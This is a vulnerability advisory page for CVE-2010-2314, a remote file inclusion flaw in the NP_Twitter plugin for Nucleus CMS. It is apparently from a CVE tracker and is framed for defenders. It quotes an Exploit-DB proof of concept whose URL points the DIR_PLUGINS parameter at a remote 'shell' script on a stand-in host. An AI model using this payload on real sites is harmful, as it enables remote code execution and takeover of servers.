CVE-2010-2314

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Published 2010-06-17 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

PHP remote file inclusion vulnerability in nucleus/plugins/NP_Twitter.php in the NP_Twitter Plugin 0.8 and 0.9 for Nucleus, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the DIR_PLUGINS parameter. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12790 webapps php text · 1 KB

AntiSecurity · 2010-05-29

Nucleus Plugin Twitter - Remote File Inclusion

text exploit Source: Exploit-DB

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  [o] Nucleus Plugin Twitter Remote File Inclusion Vulnerability
 
       Software : NP_Twitter version 0.8
       Download : http://edmondhui.homeip.net/nudn?file=2/NP_Twitter_v0_8.zip
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


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  [o] Exploit

       http://localhost/[path]/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=[evilc0de]


  [o] PoC

       http://localhost/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=http://host.com/shell?


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  [o] Greetz

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       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha veter f1 & all people in #evilc0de [at] irc.byroe.net


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  [o] May 29 2010 - GMT +07:00 Jakarta, Indonesia

Application impact

Vendor	Product	Versions
edmondhui.homeip	np_twitter	`0.8`
edmondhui.homeip	np_twitter	`0.9`
nucleus_group	nucleus_cms

References

CWEs

CWE-94

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